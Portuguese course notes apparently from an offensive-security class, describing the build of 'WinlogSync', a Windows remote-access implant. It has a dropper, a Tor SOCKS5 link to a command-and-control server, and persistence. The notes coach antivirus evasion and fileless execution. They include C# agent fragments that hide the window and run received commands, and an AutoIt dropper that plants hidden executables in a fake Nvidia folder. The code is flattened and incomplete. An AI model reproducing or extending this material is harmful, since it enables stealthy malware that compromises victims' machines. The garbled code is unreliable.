No decorrer das aulas, iniciamos uma jornada prática e teórica voltada para o desenvolvimento de um software que simula comportamentos utilizados em cenários avançados de automação, evasão de antivírus e conexão em rede oculta, como a do Tor. A ideia central foi entender como diferentes linguagens e técnicas se comportam sob o olhar atento de mecanismos de segurança como o Windows Defender, e como contornar algumas dessas barreiras de forma educacional e demonstrativa.
Na aula 128, demos início com algo simples: um script em PowerShell convertido em executável usando o PS2EXE. Isso permitiu que explorássemos o conceito de transformar scripts em aplicações reais, algo que é útil para qualquer tipo de automação, inclusive para demonstrar como os antivírus analisam esses arquivos.
Mas, como vimos, PowerShell é altamente monitorado por antivírus. Executar qualquer coisa com ele é como colocar uma pessoa suspeita dentro de um ambiente vigiado – a detecção é quase certa. Por isso, rapidamente vimos a necessidade de explorar alternativas.
A partir da aula 129, começamos a utilizar o AutoIt, uma linguagem voltada para automação de janelas e interações gráficas. Ele tem a vantagem de compilar para executáveis leves, que muitas vezes passam despercebidos por antivírus comuns.
No entanto, o AutoIt tem limitações severas:
Não interage diretamente com o sistema operacional em nível baixo.
Não executa chamadas diretas à API do Windows.
Possui dificuldades para operar totalmente em background de forma furtiva.
Apesar disso, ele é útil para criar "droppers" (programas que instalam outros arquivos no sistema) e interfaces automatizadas. Ele não será descartado, mas sabemos que ele não basta para nossos objetivos mais avançados.
A verdadeira virada ocorre com a introdução do C#, uma linguagem desenvolvida pela Microsoft com acesso total ao ambiente Windows:
Pode se comunicar diretamente com APIs nativas, como as contidas nas DLLs kernel32.dll
e user32.dll
.
Tem suporte para conexões de rede, threads, manipulação de arquivos, entre muitas outras funcionalidades.
É capaz de se disfarçar melhor que PowerShell por não usar um processo já conhecido por problemas.
Essa mudança foi fundamental, pois abandonamos o PowerShell para a comunicação com nosso C2 (Command & Control) e passamos a usar C# para fazer essas conexões, de forma mais oculta e com menor risco de detecção.
Nosso projeto, chamado WinlogSync, é composto por três grandes partes:
Dropper: Copia arquivos para uma pasta local, incluindo o cliente Tor.
Conexão SOCKS5 com o C2: Antes feita com PowerShell, agora em transição para C#.
Persistência: Garante que o software volte a rodar após reinicializações.
Estamos começando a migrar as partes mais críticas (como a conexão) para C#, justamente pela necessidade de mais controle e evasão de detecção.
Os antivírus monitoram principalmente ações realizadas no disco, pois arquivos salvos são facilmente analisados, escaneados e rastreados. Quando um programa escreve no disco, ele deixa rastros e "cheira a problema".
Já a RAM (memória volátil) é o “céu” do sistema – onde tudo acontece temporariamente. Executar diretamente da memória (técnica chamada fileless execution) é muito mais furtivo. Um programa pode subir, fazer seu trabalho e desaparecer sem deixar vestígios físicos, como um drone que voa abaixo do radar.
Esse conceito nos faz buscar cada vez mais formas de executar ações sem salvar arquivos diretamente, ou seja, utilizando técnicas de in-memory execution.
Para entender o funcionamento de C# com mais profundidade, exploramos dois tipos de DLLs essenciais:
user32.dll: Responsável pela interface gráfica – janelas, botões, mouse, etc.
kernel32.dll: A ponte entre os programas e o núcleo do sistema (o kernel). É com ela que criamos processos, manipulamos memória e acessamos funções de sistema críticas.
A comunicação com o kernel passa pelas DLLs, e é por isso que o C# é tão valioso: ele pode fazer chamadas diretas para essas bibliotecas e acessar recursos avançados que AutoIt ou PowerShell não conseguem (ou são bloqueados ao tentar).
PowerShell:
Executado como powershell.exe
, um processo muito monitorado.
Cada comando é interpretado linha por linha.
Ao fazer conexões, chama DLLs de rede (como ws2_32.dll
) que ativam a detecção heurística dos antivírus.
C#:
Compilado em um executável próprio, com nome e assinatura personalizáveis.
Quando roda, já está pré-compilado – não há interpretação.
Chama diretamente as DLLs necessárias, sem intermediários suspeitos.
Apresenta-se como um software normal, não como um script “transgressor”.
Analogia Final:
PowerShell é como um ex-presidiário que todo segurança conhece – ele mal entra no prédio e já está sendo observado.
C# é como um estagiário novo, com cara de inofensivo, que passa pelos sensores sem levantar suspeitas.
Instalar o .NET SDK:
sudo apt-get update && \ sudo apt-get install -y dotnet-sdk-8.0 |
Crie o projeto de console:
dotnet new console -o AgentTor |
Program.cs:
using System; public class Agent [DllImport("kernel32.dll")] [DllImport("user32.dll")] const int SW_HIDE = 0; public void Start() Thread.Sleep(ReconnectDelay); private void PerformSocksHandshake(NetworkStream stream) var hostBytes = Encoding.ASCII.GetBytes(OnionHost); private void HandleCommunication(NetworkStream stream) string commandOutput = ""; using (var process = Process.Start(processStartInfo)) public static void Main(string[] args) Agent agent = new Agent(); |
Compile:
dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true |
Código AutoIt: Winlogsync.au3
#NoTrayIcon Global Const $sInstallDir = "C:\ProgramData\Nvidia\UpdateSvc" If Not FileExists($sInstallDir) Then FileInstall("datasvc.exe", $sInstallDir & "\" & $sTorDestName, 1) FileSetAttrib($sInstallDir & "\" & $sTorDestName, "+H") Run('"' & $sInstallDir & "\" & $sTorDestName & '"', $sInstallDir, @SW_HIDE) Sleep(Random(15000, 20000, 1)) Run('"' & $sInstallDir & "\" & $sAgentDestName & '"', $sInstallDir, @SW_HIDE) Exit |
Para compreender melhor por que o C# é tão poderoso — e ao mesmo tempo mais “discreto” do que linguagens de script como PowerShell — é essencial entender o que é o .NET Framework e como ele funciona.
O .NET Framework é uma plataforma de desenvolvimento criada pela Microsoft. Ele fornece um conjunto de bibliotecas e serviços que ajudam os desenvolvedores a construir aplicações seguras, robustas e com acesso completo ao sistema operacional Windows. É uma ponte entre o código do programador e o sistema operacional.
O .NET é dividido em duas partes principais:
CLR (Common Language Runtime)
É o “motor” do .NET. Ele executa o código compilado, gerencia a memória, trata exceções, controla a segurança e permite que diferentes linguagens interajam entre si (por exemplo, C#, VB.NET, F#).
BCL (Base Class Library)
É a biblioteca de classes com milhares de funcionalidades prontas: manipulação de arquivos, redes, criptografia, acesso a banco de dados, etc.
O C# (C Sharp) é uma das linguagens que rodam sobre o .NET Framework. Quando você escreve código em C#, ele é compilado para IL (Intermediate Language), que é executado pelo CLR.
Ou seja:
Você escreve em C#.
O código é compilado para um executável (.exe ou .dll), mas esse executável contém IL, não instruções de máquina ainda.
Quando o programa roda, o CLR traduz o IL para código nativo (JIT - Just In Time).
Esse código nativo é o que realmente conversa com o sistema operacional, via chamadas para DLLs como kernel32.dll.
user32.dll
e ws2_32.dll
.